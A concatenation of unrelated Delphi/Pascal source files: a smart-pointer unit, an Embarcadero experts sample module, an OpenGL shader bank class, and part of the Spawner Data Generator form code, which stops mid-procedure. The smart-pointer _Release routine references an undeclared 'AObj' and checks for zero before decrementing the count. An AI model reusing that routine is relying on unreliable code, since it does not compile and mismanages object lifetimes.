function _CreateSmartObject(AObject:TObject):Pointer;//don't use it!
implementation
type
TSmartRec = packed record // 8 or 12 bytes size
VMT:Pointer;
Instance:TObject;
{$IFNDEF USE_MONITOR}
RefCount:Integer;
{$ENDIF}
end;
PSmartRec = ^TSmartRec;
function _AddRef(Self:PSmartRec):Integer;stdcall;
var
Ptr:PInteger;
begin
{$IFDEF USE_MONITOR}
Ptr := PInteger(NativeInt(Self^.Instance) + Self^.Instance.InstanceSize - hfFieldSize + hfMonitorOffset);
{$ELSE}
Ptr := @(Self^.RefCount);
{$ENDIF}
Result := AtomicIncrement(Ptr^);
end;
function _Release(Self:PSmartRec):Integer;stdcall;
var
Ptr:PInteger;
begin
{$IFDEF USE_MONITOR}
Ptr := PInteger(NativeInt(Self^.Instance) + Self^.Instance.InstanceSize - hfFieldSize + hfMonitorOffset);
{$ELSE}
Ptr := @(AObj^.RefCount);
{$ENDIF}
if Ptr^ = 0 then
begin
Self^.Instance.Free;
FreeMem(Self);
Result := 0;
end
else Result := AtomicDecrement(Ptr^);
end;
function _QueryInterface(Self:PSmartRec; const IID:TGUID; out Obj):HResult;stdcall;//for fun
begin
Result := E_NOINTERFACE;
end;
function _Invoke(Self:PSmartRec):TObject;
begin
Result := Self^.Instance;
end;
const
PSEUDO_VMT:array[0..3] of Pointer = (@_QueryInterface, @_AddRef, @_Release, @_Invoke);
function _CreateSmartObject(AObject:TObject):Pointer;
var
Ptr:PSmartRec absolute Result;
begin
GetMem(Result, Sizeof(TSmartRec));
with Ptr^ do
begin
VMT := @PSEUDO_VMT;
Instance := AObject;
{$IFNDEF USE_MONITOR}
RefCount := 0; // because, by default, hfMonitor field value = 0
{$ENDIF}
end;
end;
{ Smart }
class function Smart.Create<T>(AObject:T):Smart<T>;
begin
if Assigned(Result) then IInterface(Result)._Release;
Pointer(Result) := _CreateSmartObject(AObject);
end;
class function Smart.Create<T>:Smart<T>;
begin
Result := Create(T.Create);
end;
{ BeSmart<T> }
class operator BeSmart<T>.Implicit(AObject:T):BeSmart<T>;
begin
Result.FSmart := Smart.Create<T>(AObject);
end;
class operator BeSmart<T>.Implicit(const ASmart:BeSmart<T>):Smart<T>;
begin
Result := ASmart.FSmart;
end;
end.
|
//---------------------------------------------------------------------------
// This software is Copyright (c) 2011 Embarcadero Technologies, Inc.
// You may only use this software if you are an authorized licensee
// of Delphi, C++Builder or RAD Studio (Embarcadero Products).
// This software is considered a Redistributable as defined under
// the software license agreement that comes with the Embarcadero Products
// and is subject to that software license agreement.
//---------------------------------------------------------------------------
unit SampleExpertsCreatorsUnit;
interface
uses
SysUtils, Classes, ExpertsProject, ExpertsTemplates, ExpertsModules, SampleExpertTypes;
type
TSampleExpertsModule = class(TDataModule)
ExpertsProject1: TExpertsProject;
ExpertsProjectFile1: TExpertsTemplateFile;
ExpertsProperties1: TExpertsTemplateProperties;
ExpertsFormModule1: TExpertsModule;
ExpertsDataModule1: TExpertsModule;
ExpertsUnit1: TExpertsUnit;
ExpertsTextFile1: TExpertsTextFile;
ExpertsFormFile1: TExpertsTemplateFile;
procedure ExpertsProject1CreateModules(
Sender: TCustomExpertsProject; const APersonality: string);
private
FSelectedFeatures: TFeatures;
FAddControls: Boolean;
FFormCaption: string;
procedure SetSelectedFeatures(const Value: TFeatures);
procedure SetAddControls(const Value: Boolean);
procedure SetFormCaption(const Value: string);
procedure UpdateProperties;
{ Private declarations }
public
{ Public declarations }
property SelectedFeatures: TFeatures read FSelectedFeatures write SetSelectedFeatures;
property FormCaption: string read FFormCaption write SetFormCaption;
property AddControls: Boolean read FAddControls write SetAddControls;
end;
var
SampleExpertsModule: TSampleExpertsModule;
implementation
{$R *.dfm}
procedure TSampleExpertsModule.ExpertsProject1CreateModules(
Sender: TCustomExpertsProject; const APersonality: string);
begin
UpdateProperties;
if TFeature.feForm in FSelectedFeatures then
ExpertsFormModule1.CreateModule(APersonality);
if TFeature.feDataModule in FSelectedFeatures then
ExpertsDataModule1.CreateModule(APersonality);
if TFeature.feUnit in FSelectedFeatures then
ExpertsUnit1.CreateModule(APersonality);
if TFeature.feTextFile in FSelectedFeatures then
ExpertsTextFile1.CreateModule;
end;
procedure TSampleExpertsModule.SetAddControls(const Value: Boolean);
begin
FAddControls := Value;
UpdateProperties;
end;
procedure TSampleExpertsModule.SetFormCaption(const Value: string);
begin
FFormCaption := Value;
UpdateProperties;
end;
procedure TSampleExpertsModule.SetSelectedFeatures(const Value: TFeatures);
begin
FSelectedFeatures := Value;
end;
procedure TSampleExpertsModule.UpdateProperties;
const
sFalseTrue: array[false..true] of string = ('false', 'true');
begin
ExpertsProperties1.Properties.Values['AddControls'] := sFalseTrue[AddControls];
ExpertsProperties1.Properties.Values['FormCaption'] := FFormCaption;
end;
end.
|
unit ShaderBank;
interface
uses BasicDataTypes, dglOpengl, ShaderBankItem, SysUtils, Dialogs, GLConstants;
type
TShaderBank = class
private
Items : array of TShaderBankItem;
ShaderDirectory : string;
ActivateShaders: boolean;
ShaderSupport: boolean;
// Constructors and Destructors
procedure Clear;
// I/O
procedure Load(const _ProgramName: string); overload;
// Adds
function Search(const _Shader: PShaderBankItem): integer; overload;
public
// Constructors and Destructors
constructor Create(const _ShaderDirectory: string);
destructor Destroy; override;
// I/O
function Load(const _VertexFilename, _FragmentFilename: string): PShaderBankItem; overload;
// Gets
function Get(_Type: integer): PShaderBankItem;
function isShaderEnabled: boolean;
// Set
procedure EnableShaders(_value: boolean);
// Deletes
procedure Delete(const _Shader : PShaderBankItem);
end;
PShaderBank = ^TShaderBank;
implementation
uses FormMain;
// Constructors and Destructors
constructor TShaderBank.Create(const _ShaderDirectory: string);
begin
SetLength(Items,0);
ShaderDirectory := IncludeTrailingPathDelimiter(_ShaderDirectory);
// Check if GLSL is supported by the hardware (requires OpenGL 2.0)
if (gl_ARB_vertex_shader) and ((gl_ARB_fragment_shader) or (GL_ATI_fragment_shader)) then
begin
// Add Phong Shaders.
Load('phong');
Load('phong_1tex');
Load('phong_2tex');
Load('phong_dot3tex');
// Add Attributes.
Items[C_SHD_PHONG_DOT3TEX].AddAttribute('tangent');
Items[C_SHD_PHONG_DOT3TEX].AddAttribute('bitangent');
// Add uniforms
Items[C_SHD_PHONG_2TEX].AddUniform('colorMap');
Items[C_SHD_PHONG_2TEX].AddUniform('normalMap');
Items[C_SHD_PHONG_DOT3TEX].AddUniform('colorMap');
Items[C_SHD_PHONG_DOT3TEX].AddUniform('bumpMap');
ActivateShaders := true;
ShaderSupport := true;
end
else
begin
ActivateShaders := false;
ShaderSupport := false;
end;
end;
destructor TShaderBank.Destroy;
begin
Clear;
inherited Destroy;
end;
// Only activated when the program is over.
procedure TShaderBank.Clear;
var
i : integer;
begin
for i := Low(Items) to High(Items) do
begin
Items[i].Free;
end;
end;
// I/O
procedure TShaderBank.Load(const _ProgramName: string);
var
VertexFilename,FragmentFilename: string;
begin
VertexFilename := ShaderDirectory + _ProgramName + '_vertexshader.txt';
if not FileExists(VertexFilename) then
FrmMain.AutoRepair(VertexFilename);
FragmentFilename := ShaderDirectory + _ProgramName + '_fragmentshader.txt';
if not FileExists(FragmentFilename) then
FrmMain.AutoRepair(FragmentFilename);
Load(VertexFilename,FragmentFilename);
end;
function TShaderBank.Load(const _VertexFilename,_FragmentFilename: string): PShaderBankItem;
begin
SetLength(Items,High(Items)+2);
try
Items[High(Items)] := TShaderBankItem.Create(_VertexFilename,_FragmentFilename);
except
Items[High(Items)].Free;
SetLength(Items,High(Items));
Result := nil;
exit;
end;
Result := Addr(Items[High(Items)]);
end;
// Gets
function TShaderBank.Get(_Type: integer): PShaderBankItem;
begin
Result := nil;
if _Type <= High(Items) then
begin
Result := @Items[_Type];
end;
end;
function TShaderBank.isShaderEnabled: boolean;
begin
Result := ActivateShaders;
end;
// Sets
procedure TShaderBank.EnableShaders(_value: boolean);
var
i : integer;
begin
ActivateShaders := _value and ShaderSupport;
for i := Low(Items) to High(Items) do
begin
Items[i].SetAuthorization(ActivateShaders);
end;
end;
// Adds
function TShaderBank.Search(const _Shader: PShaderBankItem): integer;
var
i : integer;
begin
Result := -1;
if _Shader = nil then
exit;
i := Low(Items);
while i <= High(Items) do
begin
if _Shader^.GetID = Items[i].GetID then
begin
Result := i;
exit;
end;
inc(i);
end;
end;
// Deletes
procedure TShaderBank.Delete(const _Shader : PShaderBankItem);
var
i : integer;
begin
i := Search(_Shader);
if i <> -1 then
begin
Items[i].DecCounter;
if Items[i].GetCount = 0 then
begin
Items[i].Free;
while i < High(Items) do
begin
Items[i] := Items[i+1];
inc(i);
end;
SetLength(Items,High(Items));
end;
end;
end;
end.
|
(*
Copyright (C) 2007 by Seth Grover. All rights reserved.
This file is part of the Spawner Data Generator.
The Spawner Data Generator is free software; you can
redistribute it and/or modify it under the terms of the GNU General
Public License (GPL) as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
The Spawner Data Generator is distributed in the hope
that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with the Spawner Data Generator; if not, write to
the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
02110-1301 USA
*)
procedure TMainForm.MemoMenuItemClick(Sender: TObject);
var
TheMemo : TSynMemo;
TheItem : TMenuItem;
begin
try
TheMemo := nil;
TheItem := nil;
with Sender as TMenuItem do begin { TMenuItem that clicked }
TheItem := (Sender as TMenuItem);
with Parent as TMenuItem do begin { Items property of the TPopupMenu }
with Owner as TPopupMenu do begin { TPopupMenu }
if PopupComponent is TSynMemo then begin
TheMemo := (PopupComponent as TSynMemo);
end;
end;
end;
end;
if Assigned(TheMemo) then begin
if (TheItem = ClearMemoMenuItem) then begin
TheMemo.Lines.Clear;
end else if (TheItem = SelectAllMenuItem) then begin
TheMemo.SelectAll;
end else if (TheItem = CopyMenuItem) then begin
ClipBoard.AsText := TheMemo.SelText;
end else if (TheItem = CutMenuItem) then begin
ClipBoard.AsText := TheMemo.SelText;
// not done yet
end else if (TheItem = PasteMenuItem) then begin
// not done yet
end
end;
except
end;
end;
procedure TMainForm.ExitButtonClick(Sender: TObject);
begin
Close;
end;
procedure TMainForm.FieldAddButtonClick(Sender: TObject);
var
i : integer;
theEvent : TNotifyEvent;
begin
FCancelled := true;
{ set the field options to default and make a new name }
theEvent := FieldListBox.OnClick;
try
FieldListBox.OnClick := nil;
for i := 0 to FieldListBox.Items.Count-1 do begin
FieldListBox.Selected[i] := false;
end;
finally
FieldListBox.OnClick := theEvent;
end;
FieldNameEdit.Text := 'New Field';
FieldTypeComboBox.ItemIndex := 0;
FieldTypeComboBoxSelect(FieldTypeComboBox);
FieldSubTypeComboBoxSelect(FieldSubTypeComboBox);
end;
procedure TMainForm.FieldDownButtonClick(Sender: TObject);
var
tmpString : string;
tmpObject : TObject;
begin
{ move the selected field down in order in the list }
if (FieldListBox.ItemIndex > -1) and
(FieldListBox.ItemIndex < FieldListBox.Items.Count-1) then begin
tmpString := FieldListBox.Items.Strings[FieldListBox.ItemIndex];
tmpObject := FieldListBox.Items.Objects[FieldListBox.ItemIndex];
FieldListBox.Items.Strings[FieldListBox.ItemIndex] := FieldListBox.Items.Strings[FieldListBox.ItemIndex+1];
FieldListBox.Items.Objects[FieldListBox.ItemIndex] := FieldListBox.Items.Objects[FieldListBox.ItemIndex+1];
FieldListBox.Items.Strings[FieldListBox.ItemIndex+1] := tmpString;
FieldListBox.Items.Objects[FieldListBox.ItemIndex+1] := tmpObject;
FieldListBox.ItemIndex := FieldListBox.ItemIndex+1;
end;
end;
procedure TMainForm.ChangeComboBoxes(const theType : string;
const theSubType : string);
begin
if (theType <> '') then begin
FieldTypeComboBox.ItemIndex := FieldTypeComboBox.Items.IndexOf(theType);
FieldTypeComboBoxSelect(FieldTypeComboBox);
if (theSubType <> '') then begin
FieldSubTypeComboBox.ItemIndex := FieldSubTypeComboBox.Items.IndexOf(theSubType);
FieldSubTypeComboBoxSelect(FieldSubTypeComboBox);
end;
end else begin
FieldTypeComboBox.ItemIndex := -1;
end;
end;
procedure TMainForm.FieldListBoxClick(Sender: TObject);
var
theObject : TObject;
theField : TField;
begin
if (FieldListBox.ItemIndex = -1) then exit;
theObject := FieldListBox.Items.Objects[FieldListBox.ItemIndex];
theField := (TField(theObject));
if Assigned(theField) then begin
// change the combo boxes and open the right notebook page
ChangeComboBoxes(theField.ItemType, theField.ItemSubType);
FieldNameEdit.Text := theField.Name;
// set up whatever controls need to be set up
if (theField is TSetField) then begin
FieldOptionSetListBox.Items.Clear;
FieldOptionsSetFileEdit.Clear;
if ((theField as TSetField).FileName = '') then begin
FieldOptionSetListBox.Items.Text := (theField as TSetField).GetSetString;
end else begin
FieldOptionsSetFileEdit.FileName := (theField as TSetField).FileName;
end;
FieldOptionSetCorrelateCheckbox.Checked := (theField as TSetField).GetCorrelationOption;
FieldOptionSetNumericalCheckbox.Checked := (theField as TSetField).GetNumericalOption;
FieldOptionSetFileCorrelateCheckbox.Checked := (theField as TSetField).GetCorrelationOption;
FieldOptionSetFileNumericalCheckbox.Checked := (theField as TSetField).GetNumericalOption;
end else if (theField is TIntegerRangeField) then begin
FieldOptionIntegerRangeLowSpinEdit.Value := (theField as TIntegerRangeField).LowVal;
FieldOptionIntegerRangeHighSpinEdit.Value := (theField as TIntegerRangeField).HighVal;
end else if (theField is TRealRangeField) then begin
FieldOptionRealRangeLowSpinEdit.Value := (theField as TRealRangeField).LowVal;
FieldOptionRealRangeHighSpinEdit.Value := (theField as TRealRangeField).HighVal;
FieldOptionRealRangeDecimalSpinEdit.Value := (theField as TRealRangeField).DecimalPlaces;
end else if (theField is TSequenceField) then begin
FieldOptionSequenceStartSpinEdit.Value := (theField as TSequenceField).Start;
FieldOptionSequenceRepetitionSpinEdit.Value := (theField as TSequenceField).RepetitionValue;
FieldOptionSequenceStrideSpinEdit.Value := (theField as TSequenceField).Stride;
FieldOptionSequenceDupRestartRadioGroup.ItemIndex := (theField as TSequenceField).RepetitionMode;
end else if (theField is TStateField) then begin
if (theField as TStateField).Full then begin
FieldOptionStateFullRadioButton.Checked := true;
end else begin
FieldOptionStateAbbrRadioButton.Checked := true;
end;
end else if (theField is TDateTimeRangeField) then begin
if (theField as TDateTimeRangeField).DisplayUnix then begin
FieldOptionTimeUnixRadioButton.Checked := true;
end else begin
FieldOptionTimeFormatRadioButton.Checked := true;
end;
FieldOptionDateFormatEdit.Text := (theField as TDateTimeRangeField).DateFormat;
FieldOptionTimeFormatEdit.Text := (theField as TDateTimeRangeField).TimeFormat;
if (FieldOptionDateFormatEdit.Text = '') then FieldOptionDateFormatEdit.Text := DefaultFormatSettings.ShortDateFormat;
if (FieldOptionTimeFormatEdit.Text = '') then FieldOptionTimeFormatEdit.Text := DefaultFormatSettings.LongTimeFormat;
if ((theField as TDateTimeRangeField).TimeType = tsNow) then
FieldOptionStepRadioGroup.ItemIndex := 0
else if ((theField as TDateTimeRangeField).TimeType = tsIncrementing) then
FieldOptionStepRadioGroup.ItemIndex := 1
else if ((theField as TDateTimeRangeField).TimeType = tsDecrementing) then
FieldOptionStepRadioGroup.ItemIndex := 2
else
FieldOptionStepRadioGroup.ItemIndex := 3;
if (FieldOptionStepRadioGroup.ItemIndex = 0) then begin
FieldOptionDateLowCalendar.Date := now-7;
FieldOptionDateHighCalendar.Date := now;
FieldOptionTimeLowEdit.Text := FormatDateTime(DefaultFormatSettings.LongTimeFormat, now);
FieldOptionTimeHighEdit.Text := FormatDateTime(DefaultFormatSettings.LongTimeFormat, now);
end else begin
FieldOptionDateLowCalendar.Date := (theField as TDateTimeRangeField).LowVal;
FieldOptionDateHighCalendar.Date := (theField as TDateTimeRangeField).HighVal;
FieldOptionTimeLowEdit.Text := FormatDateTime(DefaultFormatSettings.LongTimeFormat, (theField as TDateTimeRangeField).LowVal);
FieldOptionTimeHighEdit.Text := FormatDateTime(DefaultFormatSettings.LongTimeFormat, (theField as TDateTimeRangeField).HighVal);
end;
end else if (theField is TWordsField) then begin
FieldOptionFixedWordSpinEdit.Value := (theField as TWordsField).LowVal;
FieldOptionRandomWordLowSpinEdit.Value := (theField as TWordsField).LowVal;
FieldOptionRandomWordHighSpinEdit.Value := (theField as TWordsField).HighVal;
end else if (theField is TStringField) then begin
FieldOptionFixedStringSpinEdit.Value := (theField as TStringField).LowVal;
FieldOptionRandomStringLowSpinEdit.Value := (theField as TStringField).LowVal;
FieldOptionRandomStringHighSpinEdit.Value := (theField as TStringField).HighVal;
FieldOptionFixedStringAllowedCheckGroup.Checked[STRING_ALPHA] := (theField as TStringField).AllowAlpha;
FieldOptionFixedStringAllowedCheckGroup.Checked[STRING_NUMBER] := (theField as TStringField).AllowNumber;
FieldOptionFixedStringAllowedCheckGroup.Checked[STRING_SPACE] := (theField as TStringField).AllowSpace;
FieldOptionFixedStringAllowedCheckGroup.Checked[STRING_OTHER] := (theField as TStringField).AllowOther;
FieldOptionRandomStringAllowedCheckGroup.Checked[STRING_ALPHA] := (theField as TStringField).AllowAlpha;
FieldOptionRandomStringAllowedCheckGroup.Checked[STRING_NUMBER] := (theField as TStringField).AllowNumber;
FieldOptionRandomStringAllowedCheckGroup.Checked[STRING_SPACE] := (theField as TStringField).AllowSpace;
FieldOptionRandomStringAllowedCheckGroup.Checked[STRING_OTHER] := (theField as TStringField).AllowOther;
end else if (theField is TNameField) then begin
FieldOptionNameSexCheckGroup.Checked[SEX_FEMALE] := (theField as TNameField).Female;
FieldOptionNameSexCheckGroup.Checked[SEX_MALE] := (theField as TNameField).Male;
end else if (theField is TMaskField) then begin
FieldOptionsMaskEdit.Text := (theField as TMaskField).Mask;
end;
end;
end;
procedure TMainForm.FieldListBoxDblClick(Sender: TObject);
var
theObject : TObject;
theField : TField;
begin
if (FieldListBox.ItemIndex > -1) then begin
theObject := FieldListBox.Items.Objects[FieldListBox.ItemIndex];
theField := (TField(theObject));
if (theField is TSequenceField) then begin
SetStatus(theField.Name);
exit; // sequence has state
end;
if Assigned(theField) then begin
SetStatus(theField.Name + ' data example: "' + theField.GetField + '"');
end else begin
ShowString('Selected field ' +
FieldListBox.Items.Strings[FieldListBox.ItemIndex] +
' was not created correctly!');
end;
end;
end;
procedure TMainForm.FieldOptionSequenceDupRestartRadioGroupClick(Sender: TObject
);
begin
end;
procedure TMainForm.FieldOptionSequenceDupRestartRadioGroupSelectionChanged(
Sender: TObject);
begin
FieldOptionSequenceRepetitionTimesLabel.Visible := FieldOptionSequenceDupRestartRadioGroup.Items[FieldOptionSequenceDupRestartRadioGroup.ItemIndex] = 'Duplicate';
end;
procedure TMainForm.FieldOptionSetAddItemButtonClick(Sender: TObject);
var
newString : string;
begin
{ add an item to the set list }
newString := InputBox ('New Set Value',
'Enter a new value to be included in the set:',
'');
if (trim(newString) <> '') then FieldOptionSetListBox.Items.Add(newString);
end;
procedure TMainForm.FieldOptionSetElementDownButtonClick(Sender: TObject);
var
tmpString : string;
tmpObject : TObject;
begin
{ move the selected element down in order in the list }
if (FieldOptionSetListBox.ItemIndex > -1) and
(FieldOptionSetListBox.ItemIndex < FieldOptionSetListBox.Items.Count-1) then begin
tmpString := FieldOptionSetListBox.Items.Strings[FieldOptionSetListBox.ItemIndex];
tmpObject := FieldOptionSetListBox.Items.Objects[FieldOptionSetListBox.ItemIndex];
FieldOptionSetListBox.Items.Strings[FieldOptionSetListBox.ItemIndex] := FieldOptionSetListBox.Items.Strings[FieldOptionSetListBox.ItemIndex+1];
FieldOptionSetListBox.Items.Objects[FieldOptionSetListBox.ItemIndex] := FieldOptionSetListBox.Items.Objects[FieldOptionSetListBox.ItemIndex+1];
FieldOptionSetListBox.Items.Strings[FieldOptionSetListBox.ItemIndex+1] := tmpString;
FieldOptionSetListBox.Items.Objects[FieldOptionSetListBox.ItemIndex+1] := tmpObject;
FieldOptionSetListBox.ItemIndex := FieldOptionSetListBox.ItemIndex+1;
end;
end;
procedure TMainForm.FieldOptionSetElementUpButtonClick(Sender: TObject);
var
tmpString : string;
tmpObject : TObject;
begin
{ move the selected element down in order in the list }
if (FieldOptionSetListBox.ItemIndex > 0) then begin
tmpString := FieldOptionSetListBox.Items.Strings[FieldOptionSetListBox.ItemIndex];
tmpObject := FieldOptionSetListBox.Items.Objects[FieldOptionSetListBox.ItemIndex];
FieldOptionSetListBox.Items.Strings[FieldOptionSetListBox.ItemIndex] := FieldOptionSetListBox.Items.Strings[FieldOptionSetListBox.ItemIndex-1];
FieldOptionSetListBox.Items.Objects[FieldOptionSetListBox.ItemIndex] := FieldOptionSetListBox.Items.Objects[FieldOptionSetListBox.ItemIndex-1];
FieldOptionSetListBox.Items.Strings[FieldOptionSetListBox.ItemIndex-1] := tmpString;
FieldOptionSetListBox.Items.Objects[FieldOptionSetListBox.ItemIndex-1] := tmpObject;
FieldOptionSetListBox.ItemIndex := FieldOptionSetListBox.ItemIndex-1;
end;
end;
procedure TMainForm.FieldOptionSetRemoveItemButtonClick(Sender: TObject);
begin
{ remove an item from the set list }
if (FieldOptionSetListBox.ItemIndex >= 0) then begin
FieldOptionSetListBox.Items.Delete(FieldOptionSetListBox.ItemIndex);
end;
end;
procedure TMainForm.FieldOptionsSequencePageBeforeShow(ASender: TObject;
ANewPage: TPage; ANewIndex: Integer);
begin
end;
procedure TMainForm.FieldOptionTimeUnixRadioButtonChange(Sender : TObject);
begin
FieldOptionTimeFormatEdit.Enabled := FieldOptionTimeFormatRadioButton.Checked;
FieldOptionDateFormatEdit.Enabled := FieldOptionTimeFormatRadioButton.Checked;
end;
procedure TMainForm.FieldRemoveButtonClick(Sender: TObject);
var
deleteReply : integer;
theObject : TObject;
theField : TField;
needPrompt : boolean;
begin
needPrompt := true;
if (Sender is TMenuItem) and ((Sender as TMenuItem) = ClearAllMenuItem) then needPrompt := false;
{ delete the selected field from the list }
if (FieldListBox.ItemIndex > -1) then begin
if (needPrompt) and (FieldListBox.Count > 0) then begin
deleteReply := Application.MessageBox (PChar('Remove field ' + FieldListBox.Items.Strings[FieldListBox.ItemIndex] + '?'),
'Remove?', MB_ICONQUESTION + MB_YESNO);
end else begin
deleteReply := IDYES;
end;
if (deleteReply = IDYES) then begin
theObject := FieldListBox.Items.Objects[FieldListBox.ItemIndex];
theField := (TField(theObject));
ShowString('Deleting field ' + theField.Name + ' of type/subtype ' +
theField.ItemType + ' ' + theField.ItemSubType);
if Assigned(theField) then FreeAndNil(theField);
FieldListBox.Items.Delete(FieldListBox.ItemIndex);
end else begin
exit;
end;
end;
end;
procedure TMainForm.FieldSubTypeComboBoxSelect(Sender: TObject);
var
i : integer;
begin
if (FieldSubTypeComboBox.Text = SUBTYPE_SET_FIXED) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_SET;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_SET_FILE) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_FROMFILE;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_INTEGERRANGE_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_INT;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_REALRANGE_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_REAL;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_SEQUENCE_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_INT_SEQ;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_STATE_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_STATE;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_DATE_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_TIME;
FieldOptionDateLowCalendar.Enabled := true;
FieldOptionDateHighCalendar.Enabled := true;
FieldOptionDateFormatEdit.Enabled := true;
FieldOptionDateLowCalendar.Date := now-7;
FieldOptionDateHighCalendar.Date := now;
FieldOptionTimeLowEdit.Enabled := false;
FieldOptionTimeFormatEdit.Enabled := false;
FieldOptionTimeHighEdit.Enabled := false;
FieldOptionTimeLowEdit.Text := '';
FieldOptionTimeHighEdit.Text := '';
end else if (FieldSubTypeComboBox.Text = SUBTYPE_TIME_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_TIME;
FieldOptionDateLowCalendar.Enabled := false;
FieldOptionDateHighCalendar.Enabled := false;
FieldOptionDateFormatEdit.Enabled := false;
FieldOptionDateLowCalendar.Date := now-7;
FieldOptionDateHighCalendar.Date := now;
FieldOptionTimeLowEdit.Enabled := true;
FieldOptionTimeFormatEdit.Enabled := true;
FieldOptionTimeHighEdit.Enabled := true;
FieldOptionTimeLowEdit.Text := FormatDateTime(DefaultFormatSettings.LongTimeFormat, 0.0);
FieldOptionTimeHighEdit.Text := FormatDateTime(DefaultFormatSettings.LongTimeFormat, now);
end else if (FieldSubTypeComboBox.Text = SUBTYPE_DATETIME_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_TIME;
FieldOptionDateLowCalendar.Enabled := true;
FieldOptionDateHighCalendar.Enabled := true;
FieldOptionDateFormatEdit.Enabled := true;
FieldOptionDateLowCalendar.Date := now-7;
FieldOptionDateHighCalendar.Date := now;
FieldOptionTimeLowEdit.Enabled := true;
FieldOptionTimeFormatEdit.Enabled := true;
FieldOptionTimeHighEdit.Enabled := true;
FieldOptionTimeLowEdit.Text := FormatDateTime(DefaultFormatSettings.LongTimeFormat, 0.0);
FieldOptionTimeHighEdit.Text := FormatDateTime(DefaultFormatSettings.LongTimeFormat, now);
end else if (FieldSubTypeComboBox.Text = SUBTYPE_FIXEDWORDS_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_WORDS;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_RANDOMWORDS_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_WORDS_RANGE;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_FIXEDALPHA_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_CHARS;
for i := 0 to FieldOptionFixedStringAllowedCheckGroup.Items.Count-1 do begin
FieldOptionFixedStringAllowedCheckGroup.Checked[i] := true;
end;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_RANDOMALPHA_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_CHARS_RANGE;
for i := 0 to FieldOptionRandomStringAllowedCheckGroup.Items.Count-1 do begin
FieldOptionRandomStringAllowedCheckGroup.Checked[i] := true;
end;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_MASK_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_MASK;
FieldOptionsMaskEdit.Text := '';
end else if (FieldSubTypeComboBox.Text = SUBTYPE_NAME_NAME) or
(FieldSubTypeComboBox.Text = SUBTYPE_FIRSTNAME_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_NAME;
for i := 0 to FieldOptionNameSexCheckGroup.Items.Count-1 do begin
FieldOptionNameSexCheckGroup.Checked[i] := true;
end;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_IP_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_IP4;
end else if (FieldSubTypeComboBox.Text = SUBTYPE_IPV6_NAME) then begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_IP6;
end else begin
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_NONE;
end;
end;
procedure TMainForm.FieldTypeComboBoxSelect(Sender: TObject);
begin
FieldSubTypeComboBox.Clear;
FieldOptionsNotebook.PageIndex := FIELD_OPTIONS_PAGE_IDX_NONE;
if (FieldTypeComboBox.Text = TYPE_RANGE_NAME) then begin
FieldSubTypeComboBox.AddItem(SUBTYPE_INTEGERRANGE_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_REALRANGE_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_SEQUENCE_NAME, nil);
end else if (FieldTypeComboBox.Text = TYPE_TIME_NAME) then begin
FieldSubTypeComboBox.AddItem(SUBTYPE_DATE_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_TIME_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_DATETIME_NAME, nil);
end else if (FieldTypeComboBox.Text = TYPE_HUMAN_NAME) then begin
FieldSubTypeComboBox.AddItem(SUBTYPE_NAME_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_FIRSTNAME_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_LASTNAME_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_EMAIL_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_PHONE_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_ADDRESS_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_CITY_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_STATE_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_ZIP_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_POSTCODE_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_COUNTRY_NAME, nil);
FieldSubTypeComboBox.AddItem(SUBTYPE_SS_NAME, nil);
end else if (FieldTypeComboBox.Text = TYPE_TEXT_NAME) then begin
